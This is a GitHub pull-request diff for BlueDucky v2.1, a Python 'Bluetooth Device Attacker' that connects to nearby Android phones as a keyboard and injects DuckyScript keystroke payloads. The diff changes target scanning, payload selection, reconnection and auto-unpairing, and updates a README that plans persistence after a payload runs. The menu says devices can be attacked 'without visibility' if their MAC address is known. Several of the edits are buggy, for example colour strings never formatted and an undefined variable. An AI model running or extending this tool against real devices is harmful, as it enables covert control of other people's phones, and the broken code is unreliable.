Merge pull request #44 from Lamentomori/main

BlueDucky Update: Ver 2.1 - Lamentomori updates and changes to UI and performance. Will revisit functionality to test for reconnection issues as we progress.
This commit is contained in:
Opabinia 2024-05-16 05:04:06 +00:00 committed by GitHub
commit 12d59bb9bd
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
4 changed files with 181 additions and 83 deletions

View File

@ -2,6 +2,7 @@ import binascii, bluetooth, sys, time, datetime, logging, argparse
from multiprocessing import Process
from pydbus import SystemBus
from enum import Enum
import subprocess
import os
from utils.menu_functions import (main_menu, read_duckyscript, run, restart_bluetooth_daemon, get_target_address)
@ -15,8 +16,6 @@ class AnsiColorCode:
GREEN = '\033[92m'
YELLOW = '\033[93m'
BLUE = '\033[94m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
WHITE = '\033[97m'
RESET = '\033[0m'
@ -30,8 +29,8 @@ class ColorLogFormatter(logging.Formatter):
logging.INFO: AnsiColorCode.GREEN,
logging.WARNING: AnsiColorCode.YELLOW,
logging.ERROR: AnsiColorCode.RED,
logging.CRITICAL: AnsiColorCode.MAGENTA,
NOTICE_LEVEL: AnsiColorCode.CYAN, # Color for NOTICE level
logging.CRITICAL: AnsiColorCode.RED,
NOTICE_LEVEL: AnsiColorCode.BLUE, # Color for NOTICE level
}
def format(self, record):
@ -268,9 +267,20 @@ class L2CAPClient:
self.connected = True
log.debug("SUCCESS! connected on port %d" % self.port)
except Exception as ex:
# Color Definition Again just to avoid errors I should've made a class for this.
red = "\033[91m"
blue = "\033[94m"
reset = "\033[0m"
error = True
self.connected = False
log.error("ERROR connecting on port %d: %s" % (self.port, ex))
raise ConnectionFailureException(f"Connection failure on port {self.port}")
if (error == True & self.port == 14):
print("{reset}[{red}!{reset}] {red}CRITICAL ERROR{reset}: {reset}Attempted Connection to {red}{target_address} {reset}was {red}denied{reset}.")
return self.connected
return self.connected
@ -595,6 +605,7 @@ def terminate_child_processes():
proc.terminate()
proc.join()
def setup_bluetooth(target_address, adapter_id):
restart_bluetooth_daemon()
profile_proc = Process(target=register_hid_profile, args=(adapter_id, target_address))
@ -626,8 +637,39 @@ def setup_and_connect(connection_manager, target_address, adapter_id):
establish_connections(connection_manager)
return connection_manager.clients[19]
def troubleshoot_bluetooth():
# Added this function to troubleshoot common issues before access to the application is granted
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
# Check if bluetoothctl is available
try:
subprocess.run(['bluetoothctl', '--version'], check=True, stdout=subprocess.PIPE)
except subprocess.CalledProcessError:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: {blue}bluetoothctl {reset}is not installed or not working properly.")
return False
# Check for Bluetooth adapters
result = subprocess.run(['bluetoothctl', 'list'], capture_output=True, text=True)
if "Controller" not in result.stdout:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No {blue}Bluetooth adapters{reset} have been detected.")
return False
# List devices to see if any are connected
result = subprocess.run(['bluetoothctl', 'devices'], capture_output=True, text=True)
if "Device" not in result.stdout:
print("{reset}[{red}!{reset}] {red}CRITICAL{reset}: No Compatible {blue}Bluetooth devices{reset} are connected.")
return False
# if no issues are found then continue
return True
# Main function
def main():
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
parser = argparse.ArgumentParser(description="Bluetooth HID Attack Tool")
parser.add_argument('--adapter', type=str, default='hci0', help='Specify the Bluetooth adapter to use (default: hci0)')
args = parser.parse_args()
@ -636,31 +678,38 @@ def main():
main_menu()
target_address = get_target_address()
if not target_address:
log.info("No target address provided. Exiting.")
log.info("No target address provided. Exiting..")
return
script_directory = os.path.dirname(os.path.realpath(__file__))
payload_folder = os.path.join(script_directory, 'payloads/') # Specify the relative path to the payloads folder.
payloads = os.listdir(payload_folder)
print("\nAvailable payloads:")
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
print(f"\nAvailable payloads{blue}:")
for idx, payload_file in enumerate(payloads, 1): # Check and enumerate the files inside the payload folder.
print(f"{idx}: {payload_file}")
print(f"{reset}[{blue}{idx}{reset}]{blue}: {blue}{payload_file}")
payload_choice = input("\nEnter the number of the payload you want to load: ")
blue = "\033[0m"
red = "\033[91m"
reset = "\033[0m"
payload_choice = input(f"\n{blue}Enter the number that represents the payload you would like to load{reset}: {blue}")
selected_payload = None
try:
payload_index = int(payload_choice) - 1
selected_payload = os.path.join(payload_folder, payloads[payload_index])
except (ValueError, IndexError):
print("Invalid payload choice. No payload selected.")
print(f"Invalid payload choice. No payload selected.")
if selected_payload is not None:
print(f"Selected payload: {selected_payload}")
print(f"{blue}Selected payload{reset}: {blue}{selected_payload}")
duckyscript = read_duckyscript(selected_payload)
else:
print("No payload selected.")
print(f"{red}No payload selected.")
if not duckyscript:
@ -680,20 +729,31 @@ def main():
process_duckyscript(hid_interrupt_client, duckyscript, current_line, current_position)
time.sleep(2)
break # Exit loop if successful
except ReconnectionRequiredException as e:
log.info("Reconnection required. Attempting to reconnect...")
log.info(f"{reset}Reconnection required. Attempting to reconnect{blue}...")
current_line = e.current_line
current_position = e.current_position
connection_manager.close_all()
# Sleep before retrying to avoid rapid reconnection attempts
time.sleep(2)
#process_duckyscript(hid_interrupt_client, duckyscript)
finally:
# unpair the target device
blue = "\033[94m"
reset = "\033[0m"
command = f'echo -e "remove {target_address}\n" | bluetoothctl'
subprocess.run(command, shell=True)
print(f"{blue}Successfully Removed device{reset}: {blue}{target_address}{reset}")
if __name__ == "__main__":
setup_logging()
log = logging.getLogger(__name__)
try:
if troubleshoot_bluetooth():
main()
else:
sys.exit(0)
finally:
terminate_child_processes()

View File

@ -1,10 +1,11 @@
# BlueDucky (Android) 🦆
# BlueDucky Ver 2.1 (Android) 🦆
Thanks to all the people at HackNexus. Make sure you come join us on VC !
https://discord.gg/HackNexus
1. [saad0x1's GitHub](https://github.com/saad0x1)
2. [spicydll's GitHub](https://github.com/spicydll)
3. [lamentomori's GitHub](https://github.com/lamentomori)
<p align="center">
<img src="./images/duckmenu.png">
@ -75,6 +76,15 @@ python3 BlueDucky.py
🚧 Work in Progress:
- Suggest me ideas
## Version 2.1 🐛
- Updated UI
- Improved User Experience
- Bluetooth Debugger; Checks your bluetooth adapters, and installed dependancies before allowing access to the application, this is to prevent devices that are not supported.
- Please Note: Numerous Changes have been made,please reference the commit history for specific changes.
## What's Planned for the Next Release?
- Integrated DuckyScript Console for attacks that want to maintain persistance, after a payload has been ran
- Suggest What Should be added next! Join https://discord.gg/HackNexus
#### 📝 Example payload.txt:
```bash

Binary file not shown.

Before

Width:  |  Height:  |  Size: 33 KiB

After

Width:  |  Height:  |  Size: 18 KiB

View File

@ -1,7 +1,15 @@
import os, bluetooth,re, subprocess, time, curses
import os, bluetooth, re, subprocess, time, curses
import logging as log
##########################
# UI Redesign by Lamento #
##########################
def get_target_address():
target_address = input("\nWhat is the target address? Leave blank and we will scan for you: ")
blue = "\033[94m"
reset = "\033[0m"
print(f"\n What is the target address{blue}? {reset}Leave blank and we will scan for you{blue}!{reset}")
target_address = input(f"\n {blue}> ")
if target_address == "":
devices = scan_for_devices()
@ -10,7 +18,7 @@ def get_target_address():
if len(devices) == 1 and isinstance(devices[0], tuple) and len(devices[0]) == 2:
# A single known device was chosen, no need to ask for selection
# I think it would be better to ask, as sometimes I do not want to chose this device and actually need solely to scan for actual devices.
confirm = input(f"Would you like to enter this device :\n{devices[0][1]} {devices[0][0]} ? (y/n)\n").strip().lower()
confirm = input(f"\n Would you like to register this device{blue}:\n{reset}{devices[0][1]} {devices[0][0]}{blue}? {blue}({reset}y{blue}/{reset}n{blue}) {blue}").strip().lower()
if confirm == 'y' or confirm == 'yes':
return devices[0][0]
elif confirm != 'y' or 'yes':
@ -18,8 +26,8 @@ def get_target_address():
else:
# Show list of scanned devices for user selection
for idx, (addr, name) in enumerate(devices):
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
selection = int(input("\nSelect a device by number: ")) - 1
print(f"{reset}[{blue}{idx + 1}{reset}] {blue}Device Name{reset}: {blue}{name}, {blue}Address{reset}: {blue}{addr}")
selection = int(input(f"\n{reset}Select a device by number{blue}: {blue}")) - 1
if 0 <= selection < len(devices):
target_address = devices[selection][0]
else:
@ -46,38 +54,30 @@ def run(command):
def print_fancy_ascii_art():
ascii_art = """
"""
"""
print("\033[1;36m" + ascii_art + "\033[0m") # Cyan color
print("\033[94m" + ascii_art + "\033[0m") # Blue color
def clear_screen():
os.system('clear')
@ -88,45 +88,44 @@ def save_devices_to_file(devices, filename='known_devices.txt'):
for addr, name in devices:
file.write(f"{addr},{name}\n")
def get_yes_no():
stdscr = curses.initscr()
curses.cbreak()
stdscr.keypad(1)
while True:
key = stdscr.getch()
if key == ord('y'):
response = 'yes'
break
elif key == ord('n'):
response = 'no'
break
curses.endwin()
return response
# Function to scan for devices
def scan_for_devices():
main_menu()
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
# Load known devices
known_devices = load_known_devices()
if known_devices:
print("\nKnown devices:")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
print(f"\n{reset}Known devices{blue}:")
for idx, (addr, name) in enumerate(known_devices):
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
print(f"{blue}{idx + 1}{reset}: Device Name: {blue}{name}, Address: {blue}{addr}")
use_known_device = input("\nDo you want to use one of these known devices? (yes/no): ")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
use_known_device = input(f"\n{reset}Do you want to use one of these known devices{blue}? {blue}({reset}yes{blue}/{reset}no{blue}): ")
if use_known_device.lower() == 'yes':
device_choice = int(input("Enter the number of the device: "))
device_choice = int(input(f"{reset}Enter the index number of the device to attack{blue}: "))
return [known_devices[device_choice - 1]]
# Normal Bluetooth scan
print("\nAttempting to scan now...")
blue = "\033[94m"
error = "\033[91m"
reset = "\033[0m"
print(f"\n{reset}Attempting to scan now{blue}...")
nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True, flush_cache=True, lookup_class=True)
device_list = []
if len(nearby_devices) == 0:
print("\nNo nearby devices found.")
print(f"\n{reset}[{error}+{reset}] No nearby devices found.")
else:
print("\nFound {} nearby device(s):".format(len(nearby_devices)))
for idx, (addr, name, _) in enumerate(nearby_devices):
@ -138,18 +137,31 @@ def scan_for_devices():
known_devices += new_devices
save_devices_to_file(known_devices)
for idx, (addr, name) in enumerate(new_devices):
print(f"{idx + 1}: Device Name: {name}, Address: {addr}")
print(f"{reset}{idx + 1}{blue}: {blue}Device Name{reset}: {blue}{name}{reset}, {blue}Address{reset}: {blue}{addr}")
return device_list
def getterm():
size = os.get_terminal_size()
return size.columns
def print_menu():
blue = '\033[94m'
reset = "\033[0m"
title = "BlueDucky - Bluetooth Device Attacker"
separator = "=" * 70
print("\033[1;35m" + separator) # Purple color for separator
print("\033[1;33m" + title.center(len(separator))) # Yellow color for title
print("\033[1;35m" + separator + "\033[0m") # Purple color for separator
print("\033[1;32m" + "Remember, you can still attack devices without visibility..." + "\033[0m")
print("\033[1;32m" + "If you have their MAC address" + "\033[0m")
print("\033[1;35m" + separator + "\033[0m") # Purple color for separator
vertext = "Ver 2.1"
motd1 = f"Remember, you can still attack devices without visibility.."
motd2 = f"If you have their MAC address.."
terminal_width = getterm()
separator = "=" * terminal_width
print(blue + separator) # Blue color for separator
print(reset + title.center(len(separator))) # Centered Title in blue
print(blue + vertext.center(len(separator))) # Centered Version
print(blue + separator + reset) # Blue color for separator
print(motd1.center(len(separator)))# used the same method for centering
print(motd2.center(len(separator)))# used the same method for centering
print(blue + separator + reset) # Blue color for separator
def main_menu():
clear_screen()
@ -178,3 +190,19 @@ def load_known_devices(filename='known_devices.txt'):
return [tuple(line.strip().split(',')) for line in file]
else:
return []
title = "BlueDucky - Bluetooth Device Attacker"
vertext = "Ver 2.1"
terminal_width = getterm()
separator = "=" * terminal_width
blue = "\033[0m"
reset = "\033[0m"
print(blue + separator) # Blue color for separator
print(reset + title.center(len(separator))) # White color for title
print(blue + vertext.center(len(separator))) # White blue for version number
print(blue + separator + reset) # Blue color for separator
print(f"{reset}Remember, you can still attack devices without visibility{blue}.." + reset)
print(f"{blue}If you have their {reset}MAC address{blue}.." + reset)
print(blue + separator + reset) # Blue color for separator